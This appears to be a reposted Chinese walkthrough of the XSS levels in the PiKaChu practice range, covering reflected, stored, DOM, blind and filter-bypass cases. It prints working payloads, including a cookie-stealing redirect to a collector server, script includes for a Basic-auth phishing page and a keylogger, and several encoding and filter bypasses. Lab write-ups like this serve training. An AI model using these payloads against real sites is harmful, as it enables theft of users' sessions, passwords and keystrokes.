IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [PiKaChu靶场通关]Cross-Site Scripting XSS漏洞 -> 正文阅读

[PHP知识库][PiKaChu靶场通关]Cross-Site Scripting XSS漏洞

一、反射型(get)

如下图中,我们输入了20个1,发现不能再输入了,我们猜测是有字数限制:
在这里插入图片描述
F12找到输入框,发现我们输入的上限只有20个字符,删除或修改为100即可:
在这里插入图片描述
payload:

<script>alert('拈花倾城')</script>

在这里插入图片描述

弹窗如下图:

在这里插入图片描述

二、反射型(post)

右上角的提示中有登陆的账号密码
在这里插入图片描述
登陆成功之后我们发现界面和get型是一样的,但是本质是不同的

1.  GET方式中,  攻击代码是直接暴露在URL中的

2.  POST方式参数内容不会出现在URL中

搭建环境

pikachu靶场自带了一个xss后台, 地址为:
\pikachu\pkxss\index.php

ps: pkxss目录下还有一个inc/config.inc.php文件需要配置, 配置完成之后, 访问上面地址, 初始化数据库:
在这里插入图片描述配置成功之后访问后台:

在这里插入图片描述登陆成功之后,界面有三个模块,我们选择cookie
在这里插入图片描述这里是存放受害人cookie的地方:
在这里插入图片描述
首先修改xss后台下的pkxss/xcookie/cookie.php文件,将IP地址改为漏洞服务器的地址:
在这里插入图片描述诱使用户点击攻击网址:
http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu%2fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E &submit=submit

127.0.0.1是攻击者收集受害用户cookie的服务器地址(也是本地), (需要进行URL编码才能访问)

访问之后, 自动重定向首页, (是为了不让用户察觉被攻击的事实), 如果重定向其他地址, 用户就会知道被攻击了:

如下图,存放着两个cookie的信息:
在这里插入图片描述

三、存储型xss

我们发现是一个留言板,留言板将我们输入的内容写到网页中, 并且存储到网站的数据库, 当利用xss漏洞时, 那么受到的攻击将是持久化的,我们再次访问也是可以看到的:
payload:

<script>alert('拈花倾城')</script>

在这里插入图片描述
每次当不同的用户访问这个留言板时, 都会触发这个js代码, 因为是存储在数据库里(存储型)。

漏洞利用

1、注入跳转网页

payload

<script>document.location='https://www.csdn.com/'</script>

跳转成功:
在这里插入图片描述

2、网站钓鱼

在靶场的pkxss目录下, 有一个xfish目录, 里面是相关的钓鱼脚本:
在这里插入图片描述
钓鱼脚本使用的是 Basic认证 ,

我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)

首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框,

这里用的是靶场目录下的: pkxss/xfish/fish.php:
在这里插入图片描述然后将攻击恶意代码嵌入留言板中:

<script src='http://127.0.0.1/pikachu/pkxss/xfish/fish.php'>alert('拈花倾城')</script>

在这里插入图片描述当受害者输入自己的密码就会被钓鱼, 钓鱼信息存储在攻击者服务器上, 这里的地址为:

http://127.0.0.1/pikachu/pkxss/xfish/pkxss_fish_result.php

可以看到刚刚被钓鱼的用户信息:
在这里插入图片描述

3、获取键盘记录

攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js :
在这里插入图片描述其中, 127.0.0.1是攻击者的地址

上面脚本获取了用户的键盘记录后, 再重定向到 rkserver.php:
在这里插入图片描述payload:

<script src='http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js'></script>

访问xss键盘记录后台:

http://127.0.0.1/pikachu/pkxss/rkeypress/pkxss_keypress_result.php

在这里插入图片描述

四、DOM型XSS

DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树:
在这里插入图片描述观察一下这个题目,当我们输入任何数据都会转换为一个网页:
在这里插入图片描述
点击what do you see页面会发生跳转:
在这里插入图片描述在网页源代码也可以看到, 点击click之后生成了标签:
在这里插入图片描述

漏洞利用

1、利用JavaScript伪协议

javascript:alert("拈花倾城!!")

在这里插入图片描述

2、绕过、闭合

我们先试着插入:

<script>alter('拈花倾城')</script>

在这里插入图片描述
F12看看如何闭合:所以我们首先要闭合href然后补齐后面的标签< /a>,同时要在我们的语句最后加上注释
在这里插入图片描述我们的payload如下:

1"></a><script>alter('拈花倾城')</script>#

发现单引号被变成双引号, 也就是说, 输入的值是被单引号闭合起来再传入标签中的, 在网页源码也可以看到:
在这里插入图片描述所以我们要绕过单引号,方法如下:

' οnfοcus=alert('拈花倾城')>  // a标签内部加属性
 
'> <img src="" onerror=alert('拈花倾城')>  // 闭合出a标签, 将img标签嵌入上一级div执行

在这里插入图片描述在这里插入图片描述

五、 DOM型XSS-X

这个题目和上个题目是一样的,payload也是一样的,主要分析一下网页请求过程。当随便输入内容并点击按钮后,发现url新增了一个test参数,点击链接, 调用domxss()函数,解析url提取出test参数值, 然后嵌入到新的a标签中。

六、XSS盲打

意思就是我们看不到弹窗,但是管理员是可以看到弹窗的。
在这里插入图片描述
我们发现内容是无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台当中。

倘若我们注入xss, 是无法得知是否xss被执行, 但是管理员在后台查看时, 当我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击。

这也是称为Xss盲打的原因。

管理员地址为:

pikachu/vul/xss/xssblind/admin_login.php

在这里插入图片描述

七、Xss之过滤

我们试着插入这个payload:

<script>alter('拈花倾城')</script>

发现并没有弹窗,而且我们上传的内容是没有显示的。f12看看网页内容:
在这里插入图片描述继续分析, 发现是对script关键字进行了过滤:
在这里插入图片描述

漏洞利用

绕过方式有很多:

<ScRiPt>alert(’拈花倾城‘)</ScRipt>  // 大小写混合绕过
 
<img src="" onerror=alert(’拈花倾城‘)>  // img标签

八、XSS之htmlspecialchars

htmlspecialchars() 函数

PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

    & 成为 &amp
    " 成为 &quot
    ' 成为 &#039
    < 成为 &lt
    > 成为 &gt

可用引号类型

    ENT_COMPAT:默认,仅编码双引号
    ENT_QUOTES:编码双引号和单引号
    ENT_NOQUOTES:不编码任何引号

分析

输入内容, 发现被写入了bjernsen标签作为了一个链接:
在这里插入图片描述

在这里插入图片描述
那么继续用闭合绕过的思路, 发现 " , <, >等都被转义和HTML编码了:
在这里插入图片描述但是发现单引号没有被过滤掉 (htmlspecialchars函数默认是不过滤单引号的)

漏洞利用

hack' οnfοcus='alert('拈花倾城')  // 单引号闭合+事件标签
 
javascript:alert('拈花倾城')  // JavaScript伪协议

九、XSS之href输出

用户输入的url会作为a标签的href属性值:
在这里插入图片描述在这里插入图片描述

查看网页源代码,发现左右尖括号和单引号都被html编码了,这样的话,闭合标签或者闭合属性都行不通了。

但也不是没办法了,W3School中对 标签的href属性有以下描述:
标签的 href 属性用于指定超链接目标的 URL:

href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

从上述描述可见,这边可以利用JavaScript协议,输入payload:

javascript:alert(document.cookie)

在这里插入图片描述

十、XSS之js输出

输入内容被动态生成到网页的js代码中了:
在这里插入图片描述在这里插入图片描述我们输入tmac试试:
在这里插入图片描述

漏洞利用

观察js代码, 发现可以用

</script><script>alert('PiKaChu-Xss完结撒花')</script>

在这里插入图片描述
这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码

JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话, 在JS中不会把它解释会去,虽然这样解决了XSS问题,但不能构成合法的JS

所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义。

希望大家可以有所收获哦!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2021-10-01 16:36:51  更:2021-10-01 16:38:10 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 19:36:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码